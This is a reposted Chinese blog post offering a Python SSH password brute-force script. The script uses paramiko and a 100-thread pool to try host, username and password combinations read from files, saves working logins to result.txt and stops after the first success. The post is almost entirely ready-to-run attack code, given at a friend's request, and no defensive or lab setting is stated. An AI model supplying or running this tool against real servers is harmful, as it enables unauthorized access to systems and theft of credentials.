Python SSH爆破以及Python3线程池控制线程数
生活随笔
收集整理的這篇文章主要介紹了
Python SSH爆破以及Python3线程池控制线程数
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
源自一個朋友的要求,他的要求是只爆破一個ip,結果出來后就停止,如果是爆破多個,完全沒必要停止,等他跑完就好
#!usr/bin/env python #!coding=utf-8__author__='Akkuman' ''' SSH爆破,由于多線程的問題,我不知道怎么做可以出現結果馬上停止(會查的,有更好的方法再改) 現在我的方法是定義了一個全局的信號finish_flag,然后每個線程檢查這個信號 線程池用的concurrent.futures.ThreadPoolExecutor,是Py3的特性,py2需要安裝其他的包 成功結果寫到了result.txt,可以通過檢查目錄下的result.txt文件查看結果 '''import paramiko from concurrent.futures import ThreadPoolExecutor import sysfinish_flag = Falsedef connect(host,user,pwd):global finish_flagif finish_flag:sys.exit()try:ssh=paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=host,username=user,password=pwd)print ("[-]Login Succ u:%s p:%s h:%s"%(user,pwd,host))with open('result.txt','a+') as f:f.write("h:%s u:%s p:%s\n"%(host,user,pwd))finish_flag = Trueexcept paramiko.ssh_exception.SSHException as err:print("[x]Login Fail u:%s p:%s"%(user,pwd))finally:ssh.close()return# 取得一個hostip,username,password def getInfo():# 遍歷ipwith open('host.txt') as hosts:for host in hosts:hostip = host.strip()print("[x]Target:"+host)# 遍歷用戶名with open('user.txt') as users:for user in users:username = user.strip()# 遍歷密碼with open('pwd.txt') as pwds:for pwd in pwds:password = pwd.strip()yield hostip,username,passworddef main():paramiko.util.log_to_file("filename.log") info = getInfo()# 最大線程數max_thread_num = 100executor = ThreadPoolExecutor(max_workers=max_thread_num)for host,user,pwd in info:future = executor.submit(connect,host,user,pwd)if __name__ == '__main__':main()轉載于:https://www.cnblogs.com/Akkuman/p/8280765.html
總結
以上是生活随笔為你收集整理的Python SSH爆破以及Python3线程池控制线程数的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python strip() 函数探究
- 下一篇: 项目第二周冲刺第六天